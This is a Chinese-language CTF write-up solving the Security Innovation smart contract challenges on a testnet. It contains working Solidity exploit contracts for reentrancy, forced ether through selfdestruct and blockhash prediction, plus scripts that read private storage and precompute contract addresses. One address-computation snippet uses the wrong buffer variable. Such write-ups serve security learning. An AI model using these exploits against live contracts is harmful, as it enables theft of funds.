【阿菜Writeup】Security Innovation Smart Contract CTF
赛题地址:https://blockchain-ctf.securityinnovation.com/#/dashboard
Donation
源码解析
我们只需要用外部账户调用 withdrawDonationsFromTheSuckersWhoFellForIt()
把钱取出来,就算是挑战成功啦。本题难就难在怎么用外部账户调用合约函数。。。
解题
点一下 Hints
他就会提醒你用 MyCrypto 来完成这个挑战。我用了,太香了。完美解决了用外部账户调用合约函数的问题。
只需要进入界面 —> TOOLS —> Interact with Contracts —> 然后按照要求把内容填好 —> 选择所调用的函数 —> 成功!
Lock Box
源码分析
-
now
参数在0.7.0
以后被替换为timestamp
它的返回值等于:https://www.unixtimestamp.com/ -
pin
是private
的pin
,就是不公开的意思。 - 目的就是要你猜出
pin
的值。啊当然,猜是不可能猜的,这辈子也不可能猜的。
解题
接下来的内容,了解solidity中变量存储位置的读者可以“显然”地知道 pin 值在合约中存储的位置。不了解的读者也不要紧,我们可以进行一步推导得出他的存储位置。
将合约内容反编译:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566
首先找到函数 function unlock(var arg0)
,然后在函数中找到这个判断:
if (storage[0x01] == arg0) {
var temp1 = address(address(this)).balance;
var temp2 = memory[0x40:0x60];
var temp3;
temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
var var0 = !temp3;
if (!var0) { return; }
var temp4 = returndata.length;
memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
revert(memory[0x00:0x00 + returndata.length]);
}
为什么是这个 if
判断呢,因为在这个判断里面有转账语句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()
。
然后我们看出我们输入的值是和 storage[0x01]
进行比较的,也就是说 pin
值就存放在 storage[0x01]
中。所以,我们可以利用 Web3.js 获取这个位置的值。
Web3.js 代码:
var Web3 = require('web3');
// 创建web3对象
var web3 = new Web3();
// 连接到 ropsten 测试节点
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log)
// return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 转为十进制等于1970
在 HttpProvider
中填入你自己的 infura
链接即可。
最后,我们把得到的 1970 填入到题目中,完成解题。
Piggy Bank
解题
直接调用 CharliesPiggyBank
中的 collectFunds
函数进行取款就完成挑战了。。。
可能关键点就在于 CharliesPiggyBank
中的 collectFunds
少继承了 modifier onlyOwner()
,看看是否发现了这个漏洞。。。吧?
SI Token Sale
源码分析
- 虽然他调用了
SafeMath
模块,但是他没有用。诶有模块我不用,就是玩儿。 -
10 szabo
的交易费用(1 ether == 10^6 szabo) - 结合以上两点,在
balances[msg.sender] += _value - feeAmount;
这里很可能会发生下溢出漏洞
解题
- 往合约打
10 wei
(只要小于10 szabo
即可),使其发生下溢出,这样我们的balances
就会变得非常大,方便后面为所欲为。 - 然后调用
refundTokens(uint256 _value)
函数,_value
的值为合约余额的两倍(这里留意一下,在题目网页上显示的余额有那么一丢丢不准确,建议去etherscan
上面查一下准确的余额) - 过关~
Secure Bank
源码分析
- 三个合约,一层套一层,SimpleBank —> MembersBank —> SecureBank
- SimpleBank withdraw:要求取款不能超过账户余额
- MembersBank withdraw:要求取款不能超过账户余额,取款账户是
member
- SecureBank withdraw:要求取款不能超过账户余额,取款账户是
member
,取款账户是自己
解题
我们要做的就是把创建合约的账户余额给取走。
虽然 SecureBank withdraw 是继承 MembersBank withdraw 的,但是因为的参数格式不一致(前者是uint8 _value,后者是uint256 _value),导致了 SecureBank 中会出现两个可以调用的 withdraw 函数。(这可以从 ABI 中看出,有两个 withdraw 函数。)
也就是说,可以在 SecureBank 合约中,调用 MembersBank withdraw 函数进行取款。
- 调用 register 函数,对创建合约的账户地址进行注册,使其成为 member
- 调用 MembersBank withdraw ,将创建合约的账户中的余额转走
- 成功
Lottery
一个猜数字的游戏,涉及到了区块号和发送者地址等
解题
-
blockhash
函数,很有讲究,当输入的区块号为当前区块号或256
个以前的区块号,它都返回0
。也就是说blockhash(block.number) == 0
-
^
是异或操作 -
也就是说,当我们要求
guess==target
的时候,只是在要求_seed == abi.encodePacked(msg.sender)
-
通过下面的函数即可得到刚刚好的
_seed
function encode(address _addr) public returns(bytes32) { return keccak256(abi.encodePacked(_addr)); }
Trust Fund
看!好大个msg.sender.call.value(allowancePerYear)()
!!它用 call
来转账!! 它用 call
来转账!! 重入漏洞干他!
解题
重入漏洞就不多解释了,原理搜一下即可,直接上攻击代码:
pragma solidity 0.4.24;
contract attack{
address public aimAddr;
function reen(address _addr) public {
aimAddr = _addr;
_addr.call(bytes4(keccak256("withdraw()")));
}
function () public payable{
aimAddr.call(bytes4(keccak256("withdraw()")));
}
}
反复调用目标合约,将里面的钱全部提取出来。
注意:gas limit 要稍微设置的大一点点,不然会调用失败:out of gas。
Record Label
源码分析
- 代码很繁琐,整体来说就是取款的时候要按百分比分一部分给 Manager 合约
- 调用 withdrawFundsAndPayRoyalties 函数进行取款,取款流程跟踪函数看一下,还挺绕。。
关键点:
- addRoyaltyReceiver 函数中没有对添加的地址进行检测,可以添加已有的用户
- payoutRoyalties 函数中只对每一个 reciver 中的比例进行扣款,没有检查总的 percentRemaining
解题
查看 RecordLabel 合约的创建交易,它同时创建了另外两个合约(Manager 和 Royalties)
Royalties 合约的地址我们可以查到
所以可知 Manager 合约的地址为:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12
Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885
Royalties 的 ABI 如下:
[
{
"constant": true,
"inputs": [],
"name": "amountPaid",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "payoutRoyalties",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_receiver",
"type": "address"
},
{
"name": "_percent",
"type": "uint256"
}
],
"name": "addRoyaltyReceiver",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "getLastPayoutAmountAndReset",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_manager",
"type": "address"
},
{
"name": "_artist",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"payable": true,
"stateMutability": "payable",
"type": "fallback"
}
]
将 Royalties 合约中 (reciver == Manager) 的分钱比例设为 0
然后调用 withdrawFundsAndPayRoyalties 函数取走 1000000000000000000 wei (1 eth)即可
Slot Machine
代码分析
有一种转账方法可以在不触发 fallback 函数的情况下完成转账:合约自毁。
pragma solidity 0.4.24;
contract selfdes{
function destruct(address _aim) public{
selfdestruct(_aim);
}
function () payable public{
}
}
解题
- 先转入
3.5 eth
到自毁合约中,执行自毁函数向目标合约进行转账(绕开了其fallback函数)。此时目标合约中的余额已经大于5 eth
,也就是满足address(this).balance >= winner
这一条件。 - 再使用自己的账户往目标账户中转入
1 szabo
,完成攻击。
Heads or Tails
代码分析
关键点就在 entropy 和 coinFlip 两个变量上,而这两个变量都是我们可以获取到具体值的。根据题目 msg.sender.transfer(msg.value.mul(3).div(2));
这行代码,我们转账 20
次即可把余额取完。
解题
不多bibi,直接上代码:
pragma solidity 0.4.24;
contract getHeads{
bytes32 public entropy;
bytes1 public coinFlip;
bool public coinBool;
function caller(address _aim) public {
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if(coinFlip == 1){
coinBool = true;
}
else{
coinBool = false;
}
for(uint i = 0; i < 20; i++){
_aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
}
}
function getback() public{
msg.sender.send(this.balance);
}
function () payable public{
}
}
- 首先把该合约加入到名单中。
- 然后在运行
caller
函数之前,往合约转0.1 ether
,并且gas limit
设置得稍微大一点点即可。 - 完成挑战后记得把钱取走!
Rainy Day Fund
源码分析
看到这道题的时候闪过了一下提前转账的想法,但是一想应该不能重置了再来这么蛇皮吧就打消了这个念头。没想到就是这样做的。
解题
我们需要提前计算出 DebugAuthorizer 合约的地址(可以做到),然后提前转账 1.337 ether,当这个地址被部署上合约的时候就满足条件 (address(this).balance == 1.337 ether) 。然后就可以调用 withdraw 函数把钱取走了。
首先,新的外部账户nonce从0开始,新的合约账户nonce则是从1开始。
查看合约调用链,我们可以得知 DebugAuthorizer 合约由 RainyDayFund 合约进行创建。而 RainyDayFund 合约则由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 创建。
我们知道 developer 的地址,还需要知道它创建 RainyDayFund 合约的 nonce ,这样才能计算出它下一次创建的合约地址。
var util = require('ethereumjs-util');
// 根据发送者地址和nonce求取生成的新合约的地址
// 先RLP编码,再Hash,截取Hash值的后20个字节
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
for(var i = 1; i <= 10000000; i++){
buf = [Buffer.from(developer , "hex"), i];
// RainyDayFund.address == 30e93a...
if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
console.log(i);
break;
}
}
// result: i = 359
计算得出 developer 创建 RainyDayFund 合约的 nonce = 359 ,那么我们下一次创建的时候 nonce 就等于 360。而 RainyDayFund 合约在 nonce = 1 时创建了 DebugAuthorizer 合约。
然后就可以通过下面的代码计算出下一次部署的 DebugAuthorizer 的地址:
var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360;
var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
/*
计算下一次重构所生成的合约地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/
然后往计算得出的 DebugAuthorizer 地址中转入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接调用 withdraw 函数将钱取走!
【吐槽:这道题真的很费币。。做到一半币不够了,水龙头也坏了,还得向大佬要了点币才解得了。。】
Raffle
解题
利用 blockhash 函数只能计算最近 256 个区块的哈希值,超过 256 个的区块哈希值为 0 这个特点。
合约1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37
负责买票,关闭抽奖
pragma solidity ^0.4.0;
contract Raffle{
function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
}
function closeRaffle(address _aim) public{
_aim.call(bytes4(keccak256("closeRaffle()")));
}
function withdraw() public{
msg.sender.send(this.balance);
}
function () payable public{}
}
合约2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C
负责买票,领奖
pragma solidity ^0.4.0;
contract Raffle2{
function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
}
function collectReward(address _aim) public{
_aim.call(bytes4(keccak256("collectReward()")));
}
function withdraw() public{
msg.sender.send(this.balance);
}
function () payable public{}
}
买完票以后的当前区块数:10853164,只需要耐心等待,直到区块数超过 10853164 + 256 ,再利用合约1关闭抽奖,最后利用合约2领奖。
后记
从其他博客中看到了一个关键点:
触发 fallback 函数后,若 fallback 函数中又调用了自身函数,那么此时,msg.sender 变成了自身